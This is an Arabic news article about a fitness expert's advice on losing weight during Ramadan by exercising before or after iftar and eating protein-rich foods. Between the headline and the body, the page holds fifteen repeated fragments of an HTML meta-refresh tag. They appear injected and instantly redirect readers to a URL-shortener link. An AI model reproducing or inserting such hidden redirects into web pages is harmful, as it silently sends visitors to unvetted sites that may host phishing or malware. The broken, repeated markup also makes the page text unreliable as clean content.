الصحة والأسرة

خبير لياقه بدينه :ممارسه الرياضه أفضل طريقه لتقليل الوزن في رمضان 

مايو 19, 2018

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

قال الكابتن مصطفى كامل خبير اللياقة البدنية، إن أفضل طرق تخفيض الوزن في رمضان، هى ممارسة التمارين الرياضية قبل الإفطار بساعة أو بنصف ساعة.
واضاف  كامل، في برنامج “هذا الصباح” على قناة “إكسترا نيوز”، أنه عقب التمرين والعودة للمنزل لتناول وجبة الإفطار، يجب أن يبدأ الشخص بتناول الشوربة والسلطة الخضراء ويقلل من تناول النشويات والكربوهيدرات والتركيز على البروتينات.
وافاد كامل، إلى أن من لا يتمكن من التمرين قبل الإفطار بساعة، يمكنه أن يمارس التمارين الرياضية بعد تناول وجبة الإفطار بساعتين،لافتا الي اهميه تناول الزبادي والجبن البيضاء والبيض المسلوق دون صفار، وتناول الشوفان لإمداده للجسم بالطاقة إلى جانب الأفوكادو والموز.
بواسطة
اسراء امام 
الوسوم
مايو 19, 2018
زر الذهاب إلى الأعلى